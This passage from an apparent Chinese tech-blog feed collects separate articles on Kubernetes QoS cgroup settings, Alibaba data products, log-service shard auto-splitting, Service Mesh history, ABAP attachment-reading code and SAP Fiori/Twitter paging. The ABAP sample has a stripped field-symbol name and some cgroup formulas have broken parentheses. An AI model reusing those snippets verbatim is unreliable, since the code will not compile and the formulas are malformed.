对不可压缩资源(如内存)的使用量,为高 QoS 级别的 pod 做资源上的预留。三种 QoS 级别的优先级由高到低为 guaranteed > burstable > besteffort。 那么到底如何实现这种资源预留呢?主要是通过 kubelet 的 experimental-qos-reserved 参数来控制,这个参数能够控制以怎样的程度限制低 QoS 级别的 pod 的资源使用,从而对高级别的 QoS 的 pod 实现资源上的预留,保证高 QoS 级别的 pod 一定能够使用到它 request 的资源。 目前只支持对内存这种不可压缩资源的预留情况进行指定。比如 experimental-qos-reserved=memory=100%,代表我们要 100% 为高 QoS level 的 pod 预留资源。 所以针对这个场景,对于内存资源来说,整个 QoS Level cgroup 的配置规则如下: burstable/memory.limit_in_bytes = Node.Allocatable - {(summation of memory requests of `Guaranteed` pods)_(reservePercent / 100)} besteffort/memory.limit_in_bytes = Node.Allocatable - {(summation of memory requests of all `Guaranteed` and `Burstable` pods)_(reservePercent / 100)} 从公式中可见,burstable 的 cgroup 需要为比他等级高的 guaranteed 级别的 pod 的内存资源做预留,所以默认情况下,如果没有指定这个参数,burstable cgroup 中的 pod 可以把整个机器的内存都占满,但是如果开启这个特性,burstable cgroup 的内存限制就需要动态的根据当前有多少 guaranteed 级别 pod 来进行动态调整了。 besteffort 也是类似,但是不一样的地方在于 besteffort 不仅要为 guaranteed 级别的 pod 进行资源预留,还要为 burstable 级别的 pod 也进行资源的预留。 所以举个栗子,当前机器的 allocatable 内存资源量为 8G,我们为这台机器的 kubelet 开启 experimental-qos-reserved 参数,并且设置为 memory=100%。如果此时创建了一个内存 request 为 1G 的 guaranteed level 的 pod,那么此时这台机器上面的 burstable QoS level cgroup 的 memory.limit_in_bytes 的值将会被设置为 7G,besteffort QoS level cgroup 的 memory.limit_in_bytes 的值也会被设置为 7G。 而如果此时又创建了一个 burstable level 的 pod,它的内存申请量为 2G,那么此时 besteffort QoS level cgroup 的 memory.limit_in_bytes 的值也会被调整为 5G。 内存虽然搞定了,但是对于 cpu 资源反而带来一些麻烦。 针对 besteffort 的 QoS,它的 cgroup 的 CPU 配置还是非常简单: besteffort/cpu.shares = 2 但是针对 burstable 的 QoS,由于所有的 burstable pod 现在都位于 kubepods 下面的 burstable 这个子组下面,根据 cpu.shares 的背后实现原理,位于不同层级下面的 cgroup,他们看待同样数量的 cpu.shares 配置可能最终获得不同的资源量。比如在 Guaranteed 级别的 pod cgroup 里面指定的 cpu.shares=1024,和 burstable 下面的某个 pod cgroup 指定 cpu.shares=1024 可能最终获取的 cpu 资源并不完全相同。这个是因为 cpu.shares 自身机制导致的。 所以为了能够解决这个问题,kubernetes 也必须动态调整 burstable cgroup 的 cpu.shares 的配置,如下文档中描述的那样: burstable/cpu.shares = max(sum(Burstable pods cpu requests, 2) 来保证,相同的 cpu.shares 配置,对于 guaranteed 级别的 pod 和 burstable 的 pod 来说是完全一样的。 至于为什么这样做我们将在后面进行详细的解释。 所以对于我们上面的例子,3 个 pod 分别为 guaranteed,burstable,besteffort 级别的,假设当前机器的 kubelet 开启了 experimental-qos-reserved 参数并且指定为 memory=100%。假设这 3 pod 运行在一台 3 核 8G 内存的机器上面,那么此时整个机器的 cgroup 配置将如下: 通过这一系列的配置后,我们达到的效果就是: • 在机器 cpu 资源空闲时,pod-guaranteed-1 这个 pod 最多可以使用 1 核 cpu 的计算力。pod-burstable-1 这个 pod 最多可以使用 3 核的 cpu 计算力,pod-besteffort-1 这个 pod 可以把机器剩余的计算力跑满。 • 当机器 cpu 资源被抢占的时候,比如 pod-guaranteed-1、pod-burstable-1 这两种资源都在 100% 的使用 cpu 的时候,pod-guaranteed-1 仍旧可以获取 1 核的 cpu 计算力,pod-burstable-1 仍旧可以获取 2 核的计算力。但是 pod-besteffort-1 仅仅能获取 2 milicores 的 cpu 计算力,是 pod-burstable-1 的千分之一。 • 该机器的 besteffort 级别的 pod,能够使用的最大内存量为[机器内存 8G] - [sum of request of burstable 2G] - [sum of request of guaranteed 1G] = 5G • 该机器的 burstable 级别的 pod,能够使用的最大内存量为 [机器内存 8G] - [sum of request of guaranteed 1G] = 7G CPU Request 的实现 CPU 资源的 request 量代表这个容器期望获取的最小资源量。它是通过 cgroup cpu.shares 特性来实现的。但是这个 cpu.shares 真实代表的这个 cgroup 能够获取机器 CPU 资源的【比重】,并非【绝对值】。 比如某个 cgroup A 它的 cpu.shares = 1024 并不代表这个 cgroup A 能够获取 1 核的计算资源,如果这个 cgroup 所在机器一共有 2 核 CPU,除了这个 cgroup 还有另外 cgroup B 的 cpu.shares 的值为 2048 的话,那么在 CPU 资源被高度抢占的时候,cgroup A 只能够获取 2 * (1024/(1024 + 2048)) 即 2/3 的 CPU 核资源。 那么 kubernetes 又是如何实现,无论是什么 QoS 的 pod,只要它的某个容器的 cpu.shares = 1024,那么它就一定能够获取 1 核的计算资源的呢? 实现的方式其实就是通过合理的对 QoS level cgroup,Pod level cgroup 进行动态配置来实现的。 我们还可以用上面的栗子继续描述,假设目前这 3 个 Pod 就位于一个有 3 个 CPU 核的物理机上面。此时这台机器的 CPU cgroup 的配置会变成下面的样子 •kubepods cgroup 的 cpu.shares 将会被设置为 3072。 •pod-guaranteed-1 中的 pod cgroup 的 cpu.shares 将会被设置为 1024,pod cgroup 内的 container3 的 container cgroup 的 cpu.shares 将会被设置为 1024。 •pod-burstable-1 所在 burstable QoS level cgroup cpu.shares 将会被设置为 2048 •pod-burstable-1 的 pod cgroup 的 cpu.shares 是 2048 •pod-burstable-1 中的 container1 的 cpu.shares 是 1024 •pod-burstable-1 中的 container2 的 cpu.shares 是 1024 所以此时的层次结构如下图: 因为 besteffort 的 cpu.shares 的值仅仅为 2,可以忽略。 所以此时在计算 container1、container2、container3 在 CPU 繁忙时的 CPU 资源时,就可以按照下述公式来进行计算: • container3 = (1024/1024) * (1024/(1024+2048)) * 3 = 1 • container1 = (1024/(1024+1024)) * (2048/2048) * (2048/1024+2048) * 3 = 1 • container2 = (1024/(1024+1024)) * (2048/2048) * (2048/1024+2048) * 3 = 1 可见,kubernetes 是通过巧妙的设置 kubepods cgroup 的 cpu.shares,以及合理的更新 burstable QoS level cgroup 的配置来实现 cpu.shares 就等于容器可以获取的最小 CPU 资源的效果的。 **参考引用 ** [1]Kubernetes Resource Model: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/scheduling/resources.md \ [2]Kubernetes Container and pod resource limits Issue: https://github.com/kubernetes/kubernetes/issues/168 [3]Core Metrics in kubelet: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/instrumentation/core-metrics-pipeline.md [4]Kubernetes Monitor Architecture: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/instrumentation/monitoring_architecture.md [5]Standalone of cadvisor: https://github.com/kubernetes/kubernetes/issues/18770 [6] Kubernetes Node Allocatable Resource: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/node-allocatable.md#phase-2---enforce-allocatable-on-pods [7] https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/ [8] https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/pod-resource-management.md **推荐阅读 ** 如何基于 k8s 开发高可靠服务?容器云牛人有话说 规模 300+ 的研发团队,怎样保持工程高质高效? 「不良视频」如何消灭?她手把手教你走出第一步! 牛人说 「牛人说」专栏致力于技术人思想的发现,其中包括技术实践、技术干货、技术见解、成长心得,还有一切值得被发现的内容。我们希望集合最优秀的技术人,挖掘独到、犀利、具有时代感的声音。 投稿邮箱: marketing@qiniu.com 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 一、数据中台之道 6月8日,上海云栖大会进入了第二天的议程,数据中台专场论坛座无虚席,数据中台总架构师邓中华女士向在场的观众介绍了数据中台的衍生发展之道。 基于OneID、OneData、OneService的方法论,在阿里巴巴大数据平台上云过程中,提出了云上大数据解决方案——数据中台业务模式,孵化输出Dataphin和Quick BI两款大数据平台型产品。 一、数据中台之道 6月8日,上海云栖大会进入了第二天的议程,数据中台专场论坛座无虚席,数据中台总架构师邓中华女士向在场的观众介绍了数据中台的衍生发展之道。 基于OneID、OneData、OneService的方法论,在阿里巴巴大数据平台上云过程中,提出了云上大数据解决方案——数据中台业务模式,孵化输出Dataphin和Quick BI两款大数据平台型产品。 并在与新零售行业深度合作下沉淀出行业应用型产品,支撑人货场三位一体的智慧化零售解决方案。目前中台模式正在输出至茅台、联华华商、海底捞等客户。 二、Dataphin一站式数据资产构建与管理 在整个数据中台模式中,PasS层产品Dataphin如引擎般存在,下到规划数仓,上至输出主题式服务。虽然大数据的热潮已经席卷数载,但面对大数据的利用方式与产生的价值,每个人心中都有着疑惑。 CEO想了解数据资产价值多少,数据建设能有怎样的投入产出比; CFO则更关心大数据如何应用于业务并驱动业务发展,并衡量促进的效果; 技术工程师们想知道计算存储是否可再优化,开发工作是否可以再加速; 而业务人员希望数据需求能得到快速而持续的响应,并利用数据提升KPI; 另一方面,即便下定决心开展大数据建设,也会在过程中会遇到重重困难。 有了Dataphin之后,如上问题弹指间即可迎刃而解,它既可以保证数据标准规范定义、数据模型设计即自动化开发、主题式数据服务即时生成,同时还能提供数据资产化管理的门户,有效降低数仓建设门槛,也提高生产效率、降低生产成本,轻松实现让数据从成本中心真正变成价值中心,且可量化呈现。 三、Quick BI助力云上企业数据分析 大数据构建与管理完毕之后,我们需要利用Quick BI这一智能数据与可视化组件将数据背后的价值展现在人们面前。 Quick BI扭转了当初重度依赖专业数据分析人才的局面,能够赋予一线业务人员智能化的分析工具,真正的做到了“数据化运营”让数据产生价值。 现在,越来越多的企业开始数据上云,也有的行业如政府、金融因为严苛的安全需求而自建本地数据库,导致企业出现数据分散式存储的状况。而Quick BI却可以链接各种数据源,满足云上和本地的不同需求,整合为可被统一调度的数据集。 Quick BI的可视化能力也不容小觑,内设地图、柱图、雷达图等21种数据图表,任何场景下的报表展示均毫无压力。特别令人惊喜的是Quick BI 特有的类Excel的电子表格功能,它足以让企业数据分析人员兴奋不已,不仅延续了本地化操作的经验,也更加贴合中国式复杂报表的制作需求。 四、大客户的实战经验 本次大会还有幸获得了联华华商、茅台云商和国泰产险的实战经验分享。 【联华华商】作为卖场型零售行业的翘楚,联华华商CIO陈杭先生,直言第一次接触数据中台时,就被上方提到的PPT“大数据建设挑战”所击中,这些都是他在工作中实实在在遇到的问题。任何一个简单的业务需求,就要在孤岛般的对象关系型数据库中创建大量的接口,产出数据结果后由于响应时间过长,业务又有了新的需求。 陈杭先生提到:我认为的新零售和零售的差别在于一个以人为中心,一个是以商品为中心,只有不断提高用户体验才有可能实现新零售,而提高用户体验的关键是信息技术的驱动。所以上数据中台势在必行。 【茅台云商】对于国酒茅台这样的品牌方,在经历了2015年从公务消费转向大众消费之后,认知消费者成为了茅台的一大诉求。全渠道运营与门店仓储一体化的背景下,营促销与经销商数据也变得极为重要。而资源型的飞天茅台吸引着大批的黄牛,如何才能绕开黄牛服务到真正消费者呢? 以上都是茅台在做新零售转型时对数据的诉求。 首先利用阿里云的计算后台能力统一了数据计算,再用数据中台能力实现数据采集与同步、数据架构设计、 数据研发与运维、数据连接与萃取。将数据资产化且业务化,包装成商品、会员、社交等维度的数据,最终通过数据服务和QuickBI将数据输出,实现业务需求,例如反黄牛、舆情监测、电商运营报告等。 五、行业型产品零售参谋 专场中技术专家、结构师们介绍了数据中台、现有客户也分享了利用中台技术去实现新零售,那么我们又要以什么载体去承接重构后的人、货、场,零售参谋能告诉你。 零售参谋可多维的、全方位的对零售数据进行分析,通过技术手段与硬件设备捕捉与汇总数据,进行分析与展现。无论是门店店长、还是集团管理层都能第一时间洞察市场变化。 针对门店、经营管理和全链路监控三种场景,分别提供以下价值: 智慧门店经营分析 门店数字化:通过AP、探针对店内客流数字化,掌握店内动 线,优化店内陈设 运营分析:基于数字化,实现客流分类管理、经营分析、热力分析、画像分析等,数据指导运营 智能管理:智能补货、智能调价、自助结算、智能导购等智能管理应用 经营管理分析 经营分析:包括销售分析、业态分析、门店分析、购物车分析 商品分析:品类规划、智能选品、供应商分析、品牌分析 用户分析:包括客流分析、用户洞察 全链路监控预测 战略决策支持:基于核心经营指标体系,提供异常指标监控、市场舆情监测、竞争监控等能力 核心模块全链路监控:构建基于线下零售营销、供应链场景的分析体系,通过数据监控指导备货、采购、促销、淘汰的全过程 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 日志服务提供Shard自动分裂功能,实时监控Shard流量,自动进行shard分裂以应对流量上涨,解决流量估算不准、随时可能上涨又难以及时处理的问题,保障数据完整。 日志服务的数据模型中,使用Shard来控制Logstore的写入、读取吞吐能力,每个Shard提供5MB/sec写入、10MB/sec读取,通常情况下,shard越多,Logstore的吞吐越大。 在创建Logstore时,可以根据实际数据量来进行预先设置shard的个数,同时,日志服务提供shard的split和merge功能,在日志量超过现有shard处理能力的情况,用户可分裂shard提升Logstore的处理能力。 但是,你有没有为这样情况而烦恼 : 事先无法准确预估数据量,预设多少个shard才合适呢 数据量随时会突增,人不一定能够及时处理,长时间超quota无法写入而导致丢失的风险 针对以上情况,日志服务提供了Shard自动分裂功能,后台实时监控每个shard的流量,如果发现一个shard的写入在一段时间内,有连续出现超过shard处理能力的情况,会触发shard的自动分裂。触发条件: 数据量超出Shard的服务能力,且持续5分钟。 Logstore中readwrite状态的Shard数目未超过设定的最大shard总数。 开启Logstore的自动分裂功能也非常简单,只要修改一下Logstore属性: 配置项 说明 自动分裂shard | 最大分裂数 Shard自动分裂功能开关。开启该功能后,满足条件的Shard会在数据量超出Shard服务能力时自动分裂。 | Shard自动分裂后的最大数目。开启自动分裂Shard功能后,最大可支持自动分裂至64个分区。 开启Shard自动分裂后, 你的Logstore将直接拥有自动弹性扩容的能力,解决流量估算不准、随时可能上涨又难以及时处理的问题,保障数据完整。 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> William Morgan Service Mesh是一个相当新的概念,讲它的“历史”似乎有些勉强。就目前而言,Service Mesh已经在部分企业生产环境中运行了超过18个月,它的源头可以追溯到2010年前后互联网公司面对大规模业务的开发。 那么Service Mesh为什么会突然变成一个热门话题的? Service Mesh是一个软件基础设施层,用于控制和监视微服务应用的内部、服务到服务的通信,通常的形式是部署在应用旁网络代理的“数据平面(data plane)”,或者是与浙西诶代理交互的“控制平面(control plane)”。在Service Mesh模式下,开发者对服务网格无感知,而运维人员获得了一套新工具,协助确保服务的可靠性、安全性和可见性。 它通常采用部署在应用程序代码旁边的网络代理的“数据平面”和用于与这些代理交互的“控制平面”的形式。在这个模型中,开发人员(“服务所有者”)不知道服务网格的存在,而操作员(“平台工程师”)获得了一套新的工具,以确保可靠性、安全性和可见性。 对于很多公司来说,Docker和Kubernetes已经“解决了部署”(至少一开始是这样的),但还没有解决运行时的问题,这正是Service Mesh的用武之地。 “解决了部署”是什么意思?使用Docker和Kubernetes等工具可以显著降低部署时的操作负担。有了这些工具,部署100个应用程序或服务的工作量不再是部署一个应用程序的100倍。这是向前迈出的一大步,对许多公司来说,这将显著降低采用微服务的成本。这不仅因为Docker和Kubernetes在所有合适的级别上提供了强大的抽象,而且因为它们标准化了整个组织的打包和部署模式。 但是一旦应用程序开始运行,又是怎样的情形?毕竟,部署不是生产的最后一步——这个应用程序仍然需要运行、需要交付、需要产生价值。因此,问题就变成了:我们是否可以用Docker和Kubernetes标准化部署时间操作(deploy-time ops)的相同方式来标准化应用程序的运行时操作? 要回答这个问题,不妨求教Service Mesh。Service Mesh的核心是提供统一的、全局的方法来控制和测量应用程序或服务之间的所有请求流量(用数据中心的话说,就是“east-west”流量)。对于采用了微服务的公司来说,这种请求流量在运行时行为中扮演着关键角色。因为服务通过响应传入请求和发出传出请求来工作,所以请求流成为应用程序在运行时行为的关键决定因素。因此,标准化流量管理成为标准化应用程序运行时的工具。 通过提供api来分析和操作此流量,Service Mesh为跨组织的运行时操作提供了标准化的机制——包括确保可靠性、安全性和可见性的方法。与任何好的基础架构层一样,Service Mesh采用的是独立于服务的构建方式。 Service Mesh如何形成 那么,Service Mesh是从哪里来的呢?通过做一些“软件考古学”,我们发现服务网格提供的核心功能——诸如request-level的负载均衡、断路器、重试、检测——并不是基本的新特性。相反,Service Mesh是功能的重新打包——a shift in where,not what。 Service Mesh起源于2010年左右应用架构的三层模型——一种简单的体系结构,一度为web上的绝大多数应用提供“动力”。在这个模型中,应用流量首先由“web层”来处理,后者又会与“应用层”进行对话,之后又会与“数据库层”对话。web层中的web服务器被设计成能够非常快速地处理大量传入的请求,并将它们小心地交给相对较慢的应用服务器(Apache、NGINX和其他流行的web服务器都有非常复杂的逻辑来处理这种情况)。同样,应用层使用数据库库与back stores进行通信。这些库通常以一种针对这个用例进行优化的方式处理缓存、负载均衡、路由、流控制等。 So far so good,但是这个模型面对大规模业务时开始显露出疲态——尤其是在应用层,随着时间的推移它会变得非常大。早期的网络规模公司——谷歌、Facebook、Netflix、Twitter——学会了把这块巨石分解成许多独立运行的碎片,催生了微服务的兴起。在引入微服务的那一刻,east-west traffic随之引入。在这个世界上,通信不再是专门的,而是在每个服务之间。当它出错时,网站就会崩溃。 这些公司都以类似的方式进行应对——他们编写了“fat client”库来处理请求流量。这些库——谷歌的Stubby、Netflix的HYstrix、Twitter的Finagle——提供了跨所有服务的统一的运行时操作方式。开发者或服务所有者将使用这些库向其他服务发出请求,库将在后台执行负载均衡、路由、断路等等。通过为应用中的每个服务提供统一的行为、可见性和控制点,这些库表面上形成了第一个Service Mesh。 代理崛起 当我们回到当下以云为本的世界,这些库仍然存在。但是,由于进程外代理提供的操作便利,库的吸引力正在降低——尤其是在与容器和编排的出现所带来的部署复杂性显著降低的情况下。 代理绕过了库的许多缺点。例如,当一个库发生更改时,这些更改必须在每个服务中部署,这个过程通常需要复杂的组织协作。而代理,无需重新编译和重新部署,就可以升级应用。同样,代理允许使用多种语言系统,应用可以由不同的语言编写,当然这种方法对于库来说代价是非常大的。 也许对于大型组织来说,最重要的是,在代理服务器而不是库中实现——服务网格负责将运行时操作所需的功能提供给服务所有者,并被这些功能的最终用户掌握 - 平台团队。提供者和消费者的这种对齐,允许这些团队掌握自己的命运,并将dev和ops之间的复杂依赖关系分离。 以上这些因素共同促成了Service Mesh的兴起,也使运行时操作变得更为健全。通过部署一个分布式代理的“网”,可以作为底层基础设施的一部分维护,而不是维护应用本身,并通过提供集中的api来分析和操作流量,Service Mesh为整个组织运行时操作提供了一个标准的机制,同时确保可靠性、安全性和可见性。 END - 开源PaaS Rainbond v3.6.0现已发布,新增Service Mesh微服务架构开箱即用,通过插件式扩展来实现治理功能,并支持spring cloud、api gateway、dubbo等主流微服务架构。 阅读更多 技术 Service Mesh:什么是Sidecar模式 2018/06/21 技术 开源PaaS Rainbond v3.6.0正式发布,Service Mesh开箱即用 2018/06/20 技术 解读Rainbond ServiceMesh微服务架构_开源PaaS Rainbond 2018/05/15 技术 Pinpoint-java性能分析最佳实践_开源PaaS Rainbond 2018/05/08 技术 通过Minio搭建私有化对象存储服务_开源PaaS Rainbond 2018/04/26 技术 揭秘高可用负载均衡组件Rainbond-Entrance_开源PaaS Rainbond 2018/04/25 技术 Rainbond插件体系设计简介_开源PaaS Rainbond 2018/02/24 技术 Rainbond如何对接外部Maven仓库_开源PaaS Rainbond 2018/01/18 技术 Spring Boot框架配置MySQL_开源PaaS Rainbond 2018/01/10 技术 基于Midonet的多租户网络设计_开源PaaS Rainbond 2018/01/09 「深度学习福利」大神带你进阶工程师,立即查看>>> 在事务码 MM02里为ID为16的material维护附件:
如何使用ABAP代码获得如下附件的名称和文件内容? REPORT zgos_api. DATA ls_appl_object TYPE gos_s_obj. DATA lo_gos_api TYPE REF TO cl_gos_api. DATA lt_attachment_list TYPE gos_t_atta. DATA lt_role_filter TYPE gos_t_rol. DATA ls_attachment TYPE gos_s_atta. DATA ls_attachm_cont TYPE gos_s_attcont. DATA ls_atta_key TYPE gos_s_attkey. DATA: lv_id TYPE matnr VALUE '16', lt_att TYPE TABLE OF sibflporb. CALL FUNCTION 'CONVERSION_EXIT_MATN1_INPUT' EXPORTING input = lv_id IMPORTING output = lv_id. ls_appl_object-typeid = 'BUS1001006'. ls_appl_object-instid = lv_id. ls_appl_object-catid = 'BO'. START-OF-SELECTION. TRY. lo_gos_api = cl_gos_api=>create_instance( ls_appl_object ). APPEND cl_gos_api=>c_attachment TO lt_role_filter. lt_attachment_list = lo_gos_api->get_atta_list( lt_role_filter ). CATCH cx_gos_api INTO DATA(error). WRITE:/ error->get_text( ). RETURN. ENDTRY. DATA: ls_key TYPE gos_s_attkey. LOOP AT lt_attachment_list ASSIGNING FIELD-SYMBOL(). ls_key-atta_id = -atta_id. ls_key-atta_cat = -atta_cat. DATA(ls) = lo_gos_api->get_al_item( ls_key ). ENDLOOP. 执行结果: 要获取更多Jerry的原创技术文章,请关注公众号"汪子熙"或者扫描下面二维码:
「深度学习福利」大神带你进阶工程师,立即查看>>> 搜索分页技术往往和另一个术语Lazy Loading(懒加载)联系起来。今天由Jerry首先介绍S/4HANA,CRM Fiori和S4CRM应用里的UI搜索分页的实现原理。后半部分由SAP成都研究院菜园子小哥王聪向您介绍Twitter的懒加载实现。 关于王聪的背景介绍,您可以参考他的前一篇文章: SAP成都研究院非典型程序猿,菜园子小哥:当我用UI5诊断工具时我用些什么 。 S/4HANA Fiori应用搜索分页实现原理 以S/4HANA Product Master Fiori应用为例,如果什么搜索条件都不指定,默认会返回25条数据,并且在UI上显示该系统总的product数量,在Jerry使用的系统里总共存在140个product。 该搜索分页的实现归功于OData请求的参数,$skip=0&top=25,意为从请求命中的第0条记录开始, 总共返回25条记录。而另一个参数$inlinecount,其工作原理可以类比ABAP Open SQL的关键字SELECT COUNT(*),用于统计数据库表的条目数。 一旦用鼠标滚轮向下移动页面至屏幕底部,会自动触发一个新的OData请求,参数为$skip=25&top=25。 这样,从第26到第50个product也从数据库表中读取出来显示在Fiori UI上。 为什么分页的尺寸为25?在Fiori UI列表实现文件sap.m.ListBase.js里,默认的分页尺寸(GrowingThreshold)为20,这说明一定存在某个配置,或者在Product Master应用某处的JavaScript代码将这个分页尺寸从20改成了25。 由于篇幅限制,Jerry直接揭晓答案了。S/4HANA里的Fiori应用都是使用Smart Template技术实现的,其列表区域的实现位于SmartTable.fragment.xml这个模板文件里,growingThreshold指定为25。因为从时间序列上来说SmartTable.fragment.xml后于sap.m.ListBase.js加载,所以对于分页尺寸的定义其优先级更高。 如果您想通过自己调试找到这个答案,锻炼自己的分析能力,可以参考我的调试过程: How does UI5 AutoGrowing list(Lazy Load behavior) work 以及使用Smart Template开发Fiori应用的介绍: Jerry的通过CDS view + Smart Template 开发Fiori应用的blog合集 再来看看搜索分页的后台处理。在Netweaver事务码ST05的数据库跟踪视图里,能清晰观察到这个分页效果:每次到数据库的查询只命中并返回25条记录,如下图三条高亮的跟踪记录所示。 从前台通过UI5库文件发送的带有$skip和$top参数的OData请求,被后台接收并维护于io_query_options参数中:
而最终在数据库查询层面的分页处理,是由ABAP Open SQL的关键字OFFSET实现的。 上图第1674行@lv_offset的值,是基于UI传入的$skip和$top计算而得。 CRM Fiori应用搜索分页实现原理 CRM Fiori应用的前台搜索分页实现原理和S/4HANA Fiori应用类似,只是分页尺寸变成了20。 上图的$skip和$top参数同S/4HANA应用的行为相同,传递到后台并得到处理:
CRM Fiori后台的搜索分页处理和S/4HANA Fiori的区别:并未使用ABAP的OFFSET关键字,而由应用开发人员自行实现。 (1) 首先将所有满足搜索条件的记录的GUID全部从数据库取出,从数据库层返回到ABAP层。在我这个测试系统里,总共有21条记录,全部返回到了ABAP层: (2) 由应用开发人员根据$skip和$top值,将多余的记录丢弃掉,保证最后只返回20条记录给UI。 至此S/4HANA和CRM Fiori应用的搜索分页原理介绍完毕。更多细节,请参考我的博客: Search Paging implementation in S/4HANA and CRM Fiori application S4CRM应用的搜索分页实现原理 S4CRM,全称为S/4HANA for Customer Management,UI开发技术仍然采用WebClient UI。和S/4HANA基于UI5的前端技术截然不同,WebClient UI走的是服务器端渲染的BSP路线。严格意义上讲,WebClient UI不存在数据库层面的搜索分页,其分页行为仅仅体现在服务器端渲染上。 下图例子里,我指定Max Number of Results为200,意思是期望满足搜索条件的记录里,显示200条到UI上。 从搜索结果能看出分页效果。全部200条记录已经从数据库查询出来并保存到应用程序的内存里。如下图所示: WebClient UI仅仅将第一页的HTML源代码在ABAP后台渲染出来然后显示给用户。当用户点了屏幕下方的“2”页码时,不会有任何的数据库查询发生,服务器做的事情仅仅是将第二页对应的HTML源代码渲染出来。 服务器怎么知道应该渲染第二页的源代码呢?这个信息也是点了“2”页码后,从前台传给ABAP服务器的: ABAP后台拿到这个visibleFirstRow参数后,知道从搜索结果记录里的第21条开始渲染,一直到第40条。
更多渲染细节,请参考我的博客: Paging Implementation in S/4HANA for Customer Management 了解了咱们SAP的搜索分页实现原理后,让我们再来看看其他厂商是怎么做的。 像国内的知乎,简书,新浪微博这些网站,其列表显示均实现了懒加载。菜园子小哥王聪对这些实现也很好奇。为什么最后选择了Twitter去研究?这就得从他和基友老金的故事说起。 下面是菜园子小哥王聪的讲解。还是老规矩,您可以点击文末的"阅读原文”,获取王聪的中英德三个版本的讲解文章。 懒加载,看看Twitter是怎么做的 老金痛恨Twitter。 老金是我在德国读书时的好基友,在国内时就酷爱文学创作。但他却从未开通个博客什么的,坚持使用新浪“长微博”功能写文章。用他的话说,这代表新锐文学的姿态。到了德国之后,老金发现人家老外不用微博,人家用Twitter。新锐的他自然要入乡随俗,可正准备舞文弄墨,却发现Twitter里并没有个东西叫“Long Twitter”,140个字符啥也干不了。于是老金愤而卸载Twitter,逢人便感慨西方文学这下是要彻底完了。 看着老金整天闷闷不乐,我便安慰他说什么长微博,不就是文字变图片嘛。Twitter没这东西,看小爷我的本事啊。我给你写个App,名字就叫“大Twitter”,图标我都给你设计好了。 然后我用了两个晚上搞了个小工具,把大段文字转成图片,然后直接发到Twitter上。 可没想到,老金刚用了半天就找到我,说自己写的东西不知道为什么全被打上了马赛克,并信誓旦旦对“秦老师”发誓说自己没写什么大尺度的东西。我问他秦老师是谁?他说是印度著名诗人秦戈尔老师啊!善良的我并没有当面给他指出那位老师不姓秦这件事,只想着好好的图片怎么会被打码了呢? 我拿来一看,原来是老金实在憋了太久,这一次足足写了8400多个字,生成的图片尺寸过大,被鸡贼的Twitter给压缩了,于是便模糊得像打了码一样。心灰意冷的老金决定与Twitter恩断义绝,连账户都注销了。 虽然我也不怎么用Twitter,但作为一个程序员我对它还是很有兴趣的。作为同类产品中的佼佼者,Twitter自然是有它的优势。其中比较有特色的一点就是其懒加载的机制。今天我们就通过Debug的方式来对其探究一番。 一些你需要知道的概念 时间轴(Time Line): Twitter中最最重要的部分。一条条的推文组合在一起,就成了页面上中间那条长长的时间轴。 位(Position): 一条推文的标识符,说白了就是推文的ID。新推文的Position比老推文的要大,所以我觉得Position很有可能代表着“这是Twitter有史以来的第xxx条推文”。可我随便找到的一个Position却着实大得让我怀疑自己的猜测。 千里之行,始于Network 首先我们在开发者工具的Network工具中截取一条当用户滚动加载时发出的请求。结果发现它长下面这个样子。
在这里我们可以发现几个有意义的信息: max_position:翻遍Header信息以及请求参数,这是唯一一个跟所要请求的内容相关的东西。具体含义后面再讲。 has_more_items:顾名思义,服务器通过这个字段告诉前端是否还有更早的内容。 items_html:格式化之后发现,这个部分就是我们所请求到的推文内容。显然Twitter使用到的是后端渲染的技术,将推文内容渲染好直接发给前端进行展示。 min_position:恰好对应了请求当中的max_position。 new_latent_count:这一次所请求到的推文的条数。 深入探究 为了搞清楚这些信息到底是怎么回事,我们通过寻找请求的发起者来深入到代码当中。原来Twitter在这里发送了一个XMLHttpRequest。无论是什么请求,总归要有一个处理的方法,我们在Call Stack中层层向上追溯,然后找到了请求的定义位置。 这里我们进入到请求成功的方法中继续探索。最终到达终点,items_html被添加到了时间轴当中。
那min_position和max_position呢?我们回到刚才定义请求的位置继续向上追溯,找到了getOldItems的方法。当用户在时间轴上向下滚动鼠标到最后时,就会调用到这个方法,而在其中会把上一次响应当中的min_position赋值给这一次请求当中的max_postion。
至此我们可以将整个Twitter的懒加载流程串接起来: 用户向下滚动时间轴,发出请求,通知服务器“我已经把第A条看完啦,快让我看更之前的内容”。 服务器返回从A再往前的20条内容,并告诉用户“喏,现在发给你直到第B条的所有内容了,慢慢看吧”。 用户再次看完这些内容,向下滚动时间轴,告诉服务器“到第B条的我也看完啦,B之前的你再发给我吧”。 每次不一定20条? 在研究的过程中,我发现了一个有趣的现象,就是new_latent_count绝大多数都是20,而偶尔会略小于20。由于前端请求中并不存在所要请求的条数,所以这个决策是在后端完成的。 起初我以为后端会根据需要即将响应的内容大小决定发多少条,可分析了一些例子之后发现有的时候响应明明很小,却还是发了不到20条。所以我的猜测是后端这个神奇的算法可能会判断返回的内容用户大概会浏览多久,如果比较耗时,则少返回一些。例如如果推文中有长视频,则判断为阅读耗时较长,可以少返回几条。但这只是我瞎猜的,有知道其中原理的朋友可以留言告诉我,非常感谢。 Debug之痛 坦率讲整个Debug过程花费了我很多时间,一方面是对于其代码结构的不熟悉,另一方面是minify过的js代码实在是让人头疼啊。所有的变量都长成abcd不说,到处都是用逻辑运算符写的条件判断语句,看得人口吐白沫。 不过从学习的角度讲,整个过程跑下来无论是debug能力还是代码阅读能力都会有所提升,推荐大家也试一试。 更多阅读 Jerry的UI5框架代码自学教程 Jerry的Fiori原创文章合集 Jerry的WebClient UI 42篇原创文章合集 Jerry的碎碎念:SAPUI5, Angular, React和Vue SAP UI和Salesforce UI开发漫谈 SAP S4CRM vs C4C, 诸葛亮和周瑜? Jerry和您聊聊Chrome开发者工具 Hello World, S/4HANA for Customer Management 1.0 那些年我用过的SAP IDE 